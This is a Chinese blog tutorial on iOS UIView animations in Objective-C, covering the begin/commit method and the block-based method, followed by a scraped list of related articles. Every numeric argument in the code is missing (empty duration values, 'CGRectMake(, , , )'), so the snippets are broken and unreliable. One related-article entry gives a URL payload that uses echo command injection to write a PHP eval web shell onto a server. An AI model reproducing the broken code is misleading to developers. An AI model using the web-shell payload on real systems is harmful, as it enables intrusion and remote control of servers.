UIView动画效果
做出UI界面,实现程序功能,是重中之重,但是通过动画提升使用体验,一般人应该不会拒绝吧。
那么问题又来了,怎么做?
一: 稳扎稳打:
一步一步来吧,毕竟,心急吃不了热豆腐。
1.开启一个动画
2,设置该动画的各种属性:动画时长、延时执行、自动返回、动画重复次数、转场动画。。。
3,设置动画的UI的结束时的状态是什么,UI的最终位置等。
4,提交动画。
大功告成。具体细节如下:
//===---开始动画 ---===
[UIView beginAnimations:nil context:nil];
//--动画持续时间---
[UIView setAnimationDuration:];
//==--动画延时
[UIView setAnimationDelay:];
//==设置自动返回动画===
[UIView setAnimationRepeatAutoreverses:YES];
//==---设置动画重复次数---==
[UIView setAnimationRepeatCount:2.5]; //==--为动画设置代理 1 --==
[UIView setAnimationDelegate:self];
//===---设置动画完成时的动作 2 ---===
[UIView setAnimationDidStopSelector:@selector(changeColor)]; //设置转场动画
[UIView setAnimationTransition:UIViewAnimationTransitionFlipFromRight forView:_view cache:YES]; //===---动画要完成的效果---===
_view.center=self.view.center; _view.bounds=CGRectMake(, , , ); _view.alpha=0.5; //===---提交动画---===
[UIView commitAnimations];
*/
2,快捷方式:
如果感觉上面的步骤太繁琐,那就只能用那一招了。
动画的“块”捷方式,使用UIView调用类方法,根据实际所需,选择不同的方法。尤其是可以将多个动画过程连续起来执行(在一个动画结束时,进行下一个动画)。
//======------ 块方式,实现UIView动画 ------======
[UIView animateWithDuration: animations:^{//两秒的动画
_view.center=self.view.center; }completion:^(BOOL finished) {//结束时,进行下一个动画 [UIView animateWithDuration: animations:^{
_view.bounds=CGRectMake(, , , ); }completion:^(BOOL finished) {//结束时,进行下个动画,层层嵌套,以此类推。
[UIView animateWithDuration: animations:^{
_view.alpha=0.5;
}completion:^(BOOL finished) {
[UIView animateWithDuration: animations:^{
_view.backgroundColor=[UIColor greenColor];
}];
}];
}];
}]; }
欲穷千里目,更上一层楼!
UIView动画效果的更多相关文章
- 自定义UIView动画效果
最普通动画: //开始动画 [UIView beginAnimations:nil context:nil]; //设定动画持续时间 [UIView setAnimationDuration:]; / ...
- UIView动画效果之----翻转.旋转.偏移.翻页.缩放.取反的动画效
翻转的动画 //开始动画 [UIView beginAnimations:@"doflip" context:nil]; //设置时常 [UIView setAnimationDu ...
- iOS UIView动画效果 学习笔记
//启动页动画 UIImageView *launchScreen = [[UIImageView alloc]initWithFrame:[UIScreen mainScreen].bounds]; ...
- IOS开发-UIView之动画效果的实现方法(合集)
http://www.cnblogs.com/GarveyCalvin/p/4193963.html 前言:在开发APP中,我们会经常使用到动画效果.使用动画可以让我们的APP更酷更炫,最重要的是优化 ...
- UIView和Masonry实现动画效果
Masonry 实现动画效果如下: //button点击方法 - (void)clickedButton { static BOOL isMove; //默认是NO Weakify(weakSelf) ...
- iOS动画效果和实现
动画效果提供了状态或页面转换时流畅的用户体验,在iOS系统中,咱们不需要自己编写绘制动画的代码,Core Animation提供了丰富的api来实现你需要的动画效果. UIKit只用UIView来展示 ...
- 转一篇简洁的UIView动画编程方法
iOS 中的 UIView 动画编程其实还是很简单的,像 CSS3 一样,在给定的时间内完成状态连续性的变化呈现.比如背景色,Frame 大小,位移.翻转,特明度等. 以前我使用的编程方式都是用下面 ...
- tableView简单的动画效果
tableView 中一些动画效果通常都是实现willDisplayCell的方法来展示出一些动画的效果 (1).带有3D效果的小型动态展示 -(void)tableView:(UITableView ...
- iOS UIView 动画浅谈
UIView 等会效果简单实现,哪一个登录页面的demo来举例子吧. + (void)animateWithDuration:(NSTimeInterval)duration animations:( ...
随机推荐
- base64 json
javascript将base64编码的图片数据转换为file并提交 直接提交base64编码图片数据,过大的话后台会出现转发错误问题. 一个不错的解决方式就是将base64编码的图片数据转换为Blo ...
- 自然语言6_treebank句子解析
#英文句子结构分析 import nltkfrom nltk.corpus import treebankt = treebank.parsed_sents('wsj_0001.mrg')[1]t.d ...
- python的简洁是shell无法代替的
之前线上服务器分发配置都是用shell和expect脚本分发,脚本写了很长,上周换了ansible,现在自己用python写一个,就30行代码就可以实现需求,之前的shell写了快200行了,蛋疼,代 ...
- git add
一.前言git add命令主要用于把我们要提交的文件的信息添加到索引库中.当我们使用git commit时,git将依据索引库中的内容来进行文件的提交. 二.基本git add <path> ...
- setTimeout不断重复执行
setTimeout() 方法用于在指定的毫秒数后调用函数或计算表达式. setTimeout(code,millisec) code 必需.要调用的函数后要执行的 JavaScript 代码串. ...
- MAFFT多重序列比对--(附比对彩标方法)
[转记]MAFFT多重序列比对图解教程 [絮语] 一提到多重序列比对,很多人禁不住就想到ClustalW(Clustalx为ClustalW的GUI版),其实有一款多重序列比对软件-MAFFT,不论从 ...
- .net 应用迁移到Mono 工具 (Moma)
Mono Migration Analyzer (Moma) 是一个用于开发者使用的MS .net下开发的应用程序迁移到Mono平台的不兼容性检测工具.工具通过分析.dll或者.exe程序集的代码是否 ...
- Helixoft VSdocman 是一个集成于Visual Studio并提供了命令行版本的帮助文档编译工具
http://www.helixoft.com/vsdocman/overview.html https://blog.fishlee.net/2016/01/14/helixoft-vsdocman ...
- echo命令写shell
http://site/x.php?x=echo ^<?php @eval($_POST[x])?^> > D:\wwwroot\x.php
- spring boot入门例子
最近学习spring boot,总结一下入门的的基础知识 1新建maven项目,修改pom.xml <project xmlns="http://maven.apache.org/PO ...